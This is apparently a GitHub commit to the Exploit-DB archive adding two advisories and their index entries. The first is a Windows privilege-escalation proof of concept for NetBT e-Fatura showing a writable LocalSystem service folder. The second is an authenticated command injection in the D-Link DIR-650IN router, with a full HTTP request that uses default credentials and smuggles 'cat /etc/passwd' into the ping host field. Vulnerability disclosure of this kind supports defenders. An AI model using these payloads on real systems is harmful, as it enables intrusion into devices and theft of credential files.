Skip to content

Commit 73f8d63

Browse files
author
Exploit-DB
committed
DB: 2026-04-11
3 changes to exploits/shellcodes/ghdb NetBT e-Fatura - Privilege Escalation D-Link DIR-650IN - Authenticated Command Injection
1 parent a55ab4c commit 73f8d63

3 files changed

Lines changed: 85 additions & 0 deletions

File tree

‎exploits/multiple/local/52509.txt‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
# Exploit Title: NetBT e-Fatura - Privilege Escalation
2+
# Author: Seccops
3+
# Discovery Date: 2025-10-03
4+
# Vendor: https://net-bt.com.tr/e-fatura/
5+
# Tested Version: 2024
6+
# Tested on OS: Microsoft Windows Server 2019 DC
7+
# Vulnerability Type: CWE-428 Unquoted Search Path or Element
8+
# CVE: CVE-2025-14018
9+
10+
Note: Thanks "Levent Sungu" for providing the testing environment.
11+
12+
====================
13+
Description & Impact
14+
====================
15+
This vulnerability allows an unauthorized local user to execute arbitrary code with high privileges on the system.
16+
17+
================
18+
Proof of Concept
19+
================
20+
21+
C:\Users\efatura>sc qc InboxProcessor
22+
[SC] QueryServiceConfig SUCCESS
23+
24+
SERVICE_NAME: InboxProcessor
25+
TYPE : 10 WIN32_OWN_PROCESS
26+
START_TYPE : 2 AUTO_START
27+
ERROR_CONTROL : 1 NORMAL
28+
BINARY_PATH_NAME : C:\inetpub\wwwroot\InboxProcessor\Netbt.Inbox.Process.exe
29+
LOAD_ORDER_GROUP :
30+
TAG : 0
31+
DISPLAY_NAME : InboxProcessor
32+
DEPENDENCIES :
33+
SERVICE_START_NAME : LocalSystem
34+
35+
36+
C:\Users\efatura\Desktop>accesschk.exe /accepteula -uwdq "C:\inetpub\wwwroot\InboxProcessor\"
37+
38+
Accesschk v6.15 - Reports effective permissions for securable objects
39+
Copyright (C) 2006-2022 Mark Russinovich
40+
Sysinternals - www.sysinternals.com
41+
42+
C:\inetpub\wwwroot\InboxProcessor
43+
RW BUILTIN\Users
44+
RW NT SERVICE\TrustedInstaller
45+
RW NT AUTHORITY\SYSTEM
46+
RW BUILTIN\Administrators

‎exploits/multiple/webapps/52508.txt‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# Exploit Title: D-Link DIR-650IN - Authenticated Command Injection
2+
# Date: 2023-01-08
3+
# Exploit Author: Sanjay Singh
4+
# Vendor Homepage: https://www.dlink.com
5+
# Software Link: https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09
6+
# Version: Firmware V1.04 (REQUIRED)
7+
# Tested on: DIR-650IN Web UI (Boa/0.94.14rc21), Windows 10 / Chrome 108
8+
# CVE: N/A (Version included now, previously missing)
9+
10+
Description:
11+
The D-Link DIR-650IN Wireless N300 Router is vulnerable to an Authenticated Command Injection vulnerability in the Diagnostic (Ping / Traceroute) functionality.
12+
13+
The parameter sysHost is not sanitized, allowing an authenticated attacker (even with low-privilege access) to inject OS commands. Exploitation leads to full compromise of the router, including reading sensitive system files such as /etc/passwd.
14+
15+
Steps to Reproduce:
16+
1. Log in to the router web interface.
17+
2. Go to Management → Diagnostic.
18+
3. Select Ping or Traceroute.
19+
4. Enter: google.com | cat /etc/passwd
20+
5. Click Apply.
21+
6. Output includes /etc/passwd contents.
22+
23+
HTTP PoC:
24+
POST /boafrm/formSysCmd HTTP/1.1
25+
Host: 192.168.0.1
26+
Authorization: Basic YWRtaW46YWRtaW4=
27+
Content-Type: application/x-www-form-urlencoded
28+
29+
submit-url=%2Fsyscmd.htm&sysCmd=ping&sysCmdType=ping&checkNum=5&sysHost=google.com%7Ccat%20/etc/passwd&apply=Apply
30+
31+
Response Extract:
32+
root:XEOFcsRJLyXbQ:0:0:root:/:/bin/sh
33+
nobody:x:0:0:nobody:/:/dev/null
34+
35+
References:
36+
https://www.dlink.com
37+
https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09

‎files_exploits.csv‎

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10522,6 +10522,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1052210522
10072,exploits/multiple/local/10072.c,"Multiple Vendor - TLS Protocol Session Renegotiation Security",2009-11-12,"Marsh Ray",local,multiple,,2009-11-11,,1,,,,,,
1052310523
19721,exploits/multiple/local/19721.txt,"MySQL 3.22.27/3.22.29/3.23.8 - GRANT Global Password Changing",2000-02-15,"Viktor Fougstedt",local,multiple,,2000-02-15,2012-07-10,1,CVE-2000-0045;OSVDB-9906,,,,,https://www.securityfocus.com/bid/926/info
1052410524
19447,exploits/multiple/local/19447.c,"NetBSD 1.4 / OpenBSD 2.5 / Solaris 7.0 - 'profil(2)' Modify The Internal Data Space",1999-08-09,"Ross Harvey",local,multiple,,1999-08-09,2017-11-15,1,CVE-1999-0674;OSVDB-1033,,,,,https://www.securityfocus.com/bid/570/info
10525+
52509,exploits/multiple/local/52509.txt,"NetBT e-Fatura - Privilege Escalation",2026-04-10,seccops,local,multiple,,2026-04-10,2026-04-10,0,CVE-2025-14018,,,,,
1052510526
32055,exploits/multiple/local/32055.txt,"Netrw Vim Script - 's:BrowserMaps()' Command Execution",2008-07-16,"Jan Minar",local,multiple,,2008-07-16,2014-03-09,1,,,,,,https://www.securityfocus.com/bid/30254/info
1052610527
19692,exploits/multiple/local/19692.c,"Netscape Communicator 4.5 - prefs.js Buffer Overflow",1999-12-24,"Steve Fewer",local,multiple,,1999-12-24,2012-07-08,1,,,,,,https://www.securityfocus.com/bid/893/info
1052710528
19912,exploits/multiple/local/19912.txt,"Netscape Communicator 4.5/4.51/4.6/4.61/4.7/4.72/4.73 - '/tmp' Symlink",2000-05-10,foo,local,multiple,,2000-05-10,2012-07-18,1,CVE-2000-0409;OSVDB-1331,,,,,https://www.securityfocus.com/bid/1201/info
@@ -11957,6 +11958,7 @@ id,file,description,date_published,author,type,platform,port,date_added,date_upd
1195711958
52172,exploits/multiple/webapps/52172.py,"CyberPanel 2.3.6 - Remote Code Execution (RCE)",2025-04-11,"Luka Petrovic (refr4g)",webapps,multiple,,2025-04-11,2025-04-13,0,CVE-2024-51378,,,,,
1195811959
50909,exploits/multiple/webapps/50909.txt,"Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS)",2022-05-11,"Tin Pham",webapps,multiple,,2022-05-11,2022-05-11,0,CVE-2021-31673,,,,,
1195911960
50908,exploits/multiple/webapps/50908.txt,"Cyclos 4.14.7 - DOM Based Cross-Site Scripting (XSS)",2022-05-11,"Tin Pham",webapps,multiple,,2022-05-11,2022-05-11,0,CVE-2021-31674,,,,,
11961+
52508,exploits/multiple/webapps/52508.txt,"D-Link DIR-650IN - Authenticated Command Injection",2026-04-10,"Sanjay Singh",webapps,multiple,,2026-04-10,2026-04-10,0,,,,,,
1196011962
43847,exploits/multiple/webapps/43847.py,"DarkComet (C2 Server) - File Upload",2018-01-15,"Pseudo Laboratories",webapps,multiple,,2018-01-21,2018-01-21,0,,Malware,,,,https://pseudolaboratories.github.io/DarkComet-upload-vulnerability/
1196111963
9722,exploits/multiple/webapps/9722.txt,"DDL CMS 1.0 - Multiple Remote File Inclusions",2009-09-21,HxH,webapps,multiple,,2009-09-20,,1,OSVDB-58291;CVE-2009-3331;OSVDB-58290;OSVDB-58276;OSVDB-58275,,,,,
1196211964
32556,exploits/multiple/webapps/32556.txt,"Dell SonicWALL EMail Security Appliance Application 7.4.5 - Multiple Vulnerabilities",2014-03-27,Vulnerability-Lab,webapps,multiple,8619,2014-03-27,2014-03-27,0,OSVDB-105106;OSVDB-105105;CVE-2014-2879,,,,,https://www.vulnerability-lab.com/get_content.php?id=1191

0 commit comments

Comments
 (0)